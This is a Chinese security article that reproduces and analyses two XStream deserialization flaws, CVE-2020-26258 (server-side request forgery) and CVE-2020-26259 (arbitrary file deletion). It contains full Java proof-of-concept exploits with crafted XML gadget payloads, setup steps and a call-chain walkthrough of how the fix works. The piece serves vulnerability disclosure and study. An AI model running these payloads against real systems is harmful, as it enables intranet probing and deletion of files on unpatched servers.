XStream 反序列化漏洞(CVE-2020-26258 & 26259)的复现与分析

阅读量363840

发布时间 : 2020-12-23 16:30:58

 

Xstream 是 Java 类库,用来将对象序列化成 XML (JSON) 或反序列化为对象。XStream 是一款开源软件,允许在 BSD 许可证的许可下分发。

 

0x01 漏洞描述

Xstream上次对CVE-2020-26217处理并不彻底,虽然通过黑名单方法阻止了远程代码执行,但是仍然可以采用类似思路实现文件删除与服务器请求伪造。

影响版本

Xstream < = 1.4.14

修复版本

Xstream > = 1.4.15

风险等级

严重

 

0x02 PoC

CVE-2020-26258的 PoC 如下:

import com.thoughtworks.xstream.XStream;
​
/*
CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling
with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.
All versions until and including version 1.4.14
https://x-stream.github.io/CVE-2020-26258.html
Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
*/
public class CVE_2020_26258 {
    public static void main(String[] args) {
        String ssrf_xml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='javax.activation.URLDataSource'>\n" +
                "            <url>http://localhost:8989/internal/:</url>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
​
        XStream xstream = new XStream();
        xstream.fromXML(ssrf_xml);
​
    }
}
​

CVE-2020-26259 的 PoC 如下:

import com.thoughtworks.xstream.XStream;
​
/*
CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
when unmarshalling as long as the executing process has sufficient rights.
https://x-stream.github.io/CVE-2020-26259.html
Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
 */
​
public class CVE_2020_26259 {
    public static void main(String[] args) {
        String xml_poc = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
                "              <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
                "            </is>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
​
        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }
​
}

 

0x03 漏洞详情

复现流程

环境

idea 构建maven工程,使用上述 PoC,pom文件为:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
​
    <groupId>1</groupId>
    <artifactId>1</artifactId>
    <version>1.0-SNAPSHOT</version>
    <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
    <dependencies>
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.14</version>
        </dependency>
    </dependencies>
​
​
</project>

直接运行即可。

复现

CVE-2020-26258

使用 flask 开一个临时服务

运行 PoC 收到请求

CVE-2020-26259

运行 PoC 前:

运行 PoC 后:

 

漏洞分析

这两个漏洞基本类似上次的CVE-2020-26217,主要是利用 Xstream 在反序列化map 对象时会检查是否存在 entry:如果存在,那么在构建这个 entry 的过程中,会调用 entry 的hashCode 函数。CVE-2020-26217与本次两个都是使用到了jdk.nashorn.internal.objects.NativeString 的 hashCode函数。

调试分析

使用 xstream 的 fromXml 进行反序列化:

跟进到 putCurrentEntryIntoMap,在 Xstream 构建 entry 的过程中,将本次的key 值即我们提供的 NativeString, put 到 map中:

put 过程会进行一步 hash 操作:

在 hash 里调用了key 的 hashCode 函数,即我们输入的jdk.nashorn.internal.objects.NativeString 的 hashCode 函数。

NativeString 的 hashCode 函数调用 getStringValue,进而调用其 value 的toString 函数,而这个value则是我们提供的com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data。

Base64Data 的 toString 调用了其 get。

目前为止,这两个漏洞与CVE-2020-26217一致。CVE-2020-26217 利用的是readFrom 及其后续,不过因为 Xstream 黑名单限制了进行远程代码执行,这里利用 getInputStream 与 close 进行 ssrf 和文件删除。

InputStream is = this.dataHandler.getDataSource().getInputStream(); 是触发ssrf的地方,使用 javax.activation.URLDataSource 的 getInputStream 函数:

URLDataSource 的 getInputStream 函数就是访问传入的 url。

文件删除则是在 ReadAllStream 的 close里进行的。

修复分析

添加黑名单。

 

0x04 参考文献

https://xz.aliyun.com/t/8526

https://github.com/x-stream/xstream/commit/0bcbf50126a62dfcd65f93a0da0c6d1ae92aa738

http://x-stream.github.io/CVE-2020-26258.html

http://x-stream.github.io/CVE-2020-26259.html

本文由奇安信代码卫士原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/226241

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
奇安信代码卫士
分享到:微信

发表评论

奇安信代码卫士

奇安信代码卫士是国内第一家专注于软件开发安全的产品线,产品涵盖代码安全缺陷检测、软件编码合规检测、开源组件溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、编码合规性问题、开源组件安全管控问题。微信公号:codesafe。

  • 文章
  • 387
  • 粉丝
  • 104

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66